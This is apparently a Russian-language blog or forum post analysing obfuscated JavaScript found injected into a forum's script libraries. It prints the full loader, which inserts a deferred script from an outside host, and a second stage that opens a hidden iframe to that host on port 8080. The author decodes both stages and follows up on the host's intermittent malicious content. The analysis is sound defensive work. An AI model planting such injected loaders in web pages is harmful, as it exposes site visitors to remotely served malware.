Вот тело вируса (в более-менее читаемом виде).
/*GNU GPL*/
try{
window.xonload= function(){
var Eubhbjfbm868vh = document.createElement('s)#)c!@#r#!i)))p^t($'.replace(/@|\^|\$|&|\!|#|\)|\(/ig, ''));
var Onnr7trfzw697 = 'E6tt4chiq8m';
Eubhbjfbm868vh.setAttribute('type', 't#$e#@&x&t$^@/&#j#(a^$&v!&^)a)s)c!)&r(()i(#p&@t@#'.replace(/\)|\(|&|@|\^|\$|#|\!/ig, ''));
Eubhbjfbm868vh.setAttribute('src', 'h)(&$t#&t^#p!(^:#(/)/^)$@d!@i$((c^$(#t)$-#!^c(c#!@&.^#)#g&!&o^o())g@^@@l@^!&e#^$.#@^c#@o@!m&&^.!(!p(h&.^#a#!^))s)!g#)-&@t(()o@&^.)g(^u#$)i&!^d$!)(e$(#^b(#a(!$t@)).(^r^u@#$)8#0#8$0)@)/))t$#(e!^l$@e^@@g@(@&r#^a)!$)p^h).#)c@!!$o!.($u#k)$^(/)(@t$$e^#l)(e!!g&r)^@a()^#p)!h#!(.&$!#c@(#o@!^.#u$#k@@)!/(@m!&e@t&^r)^o@@l)@^y)!r(#@i@(c!@@@s($(.^&c!)!o@#(m)^/$g!o$@o$(!@!g(&$$l#)$e^!^$.@!^&c@(o$&!m@#@/)(m)@@)e@!$d#^i()a((@p(!l)(e!@$x^.)c^)@$o$)(m(&/@'.replace(/#|\!|\$|\^|@|&|\(|\)/ig, ''));
Eubhbjfbm868vh.setAttribute('defer', 'd)&e@!^@f$@e$)#r@@^'.replace(/\^|\!|\)|\$|@|\(|&|#/ig, ''));
Eubhbjfbm868vh.setAttribute('id', 'V)(!(i#c#!#u)&!)&1)((y##3)#^g)#k!!$(^n$^)g!^p))'.replace(/\(|#|\$|&|@|\)|\!|\^/ig, ''));
document.body.appendChild(Eubhbjfbm868vh);
}
}
catch(Thq8rxlu5szo) {}
Все предельно очевидно. Речь идет о примитивно обфусцированном коде, создающем в документе новый элемент типа "script"
var Eubhbjfbm868vh = document.createElement('s)#)c!@#r#!i)))p^t($'.replace(/@|\^|\$|&|\!|#|\)|\(/ig, ''));
(спецсимволы ')', '#', '!', '@', '&', '^' в аргументе функции document.createElement удаляются при помощи replace'а).
Далее этому элементу подобным же образом присваивается mime-тип 'text/javascript'. Самым важным является следующий этап - присваивание атрибуту src (источнику) этого скрипта значения http://dict-cc.google.com.ph.asg-to.guideb.../mediaplex.com/
Далее атрибуту 'defer' присваивается значение 'defer', дабы отложить исполнение скрипта до полной загрузки страницы. Атрибуту id присваивается значение 'Vicu1y3gkngp'. Затем этот элемент пристыковывается к документу. Вся эта конструкция находится внутри блока try-catch, дабы перехватывать исключения, могущие возникнуть при работе скрипта.
Теперь, собственно, самое интересное - "вредоносный" код, расположенный по вышеуказанному адресу.
J3cht9hp = 'd)&i!)c^(t(!)-!$$@c!#©@.$&g#()@o!)o)&&g&@l!#e#.(&^c&&)#o)m^.##p^h(&!&.^^&!a)s&g!$-^@!!t@o(@)&.@!#g)!((!u$)&i@^^&d(#e(@)b@)a#!!#^t^.#!r(^u)$'.replace(/&|\)|\$|@|#|\!|\(|\^/ig, '');
f = document.createElement('iframe');
f.style.visibility = 'hidden';
f.src = 'http://'+J3cht9hp+':8080/index.php?js';
document.body.appendChild(f);
В ходе его исполнения на странице открывается скрытый iframe и загружает содержимое адреса http://dict-cc.google.com.ph.asg-to.guideb...80/index.php?js - в настоящее время пустую страницу.
В заголовках, отправляемых сервером, ничего подозрительного нет - обычный nginx+php.
Резюмирую. Какой-то пионер учится кросс-сайт-скриптингу. Правда, остается неясным, как это примитивное творение школьника, скучающего на каникулах, попало в javascript-библиотеки форума.
Upd. Судя по всему, на сервере форума установлена ОС FreeBSD. Если уважаемая администрация использует FTP-сервер из стандартной поставки (wu-ftpd), то возникает версия произошедшего, связанная с тем, что вышеозначенное решето позволяет простому пользователю получить рутовые права. Правда, для этого нужно иметь хотя бы права пользователя.
Upd. 2. Все, что было расположено по вышеуказанным адресам, удалено. "Злоумышленник", видимо, наигрался.
Upd. 3. По вышеприведенным ссылкам ходить исключительно на свой страх и риск! Злоумышленник разместил там неизвестное содержимое вредоносного характера. Что именно - я выясняю в настоящий момент.
Upd. 4. По ссылкам снова пусто. Какое-либо содержимое там появляется лишь на непродолжительное время. Получить то, для загрузки чего предназначен вышеописанный "троян", мне пока не удалось. Тем лучше - опасность заражения, судя по всему, минимальна.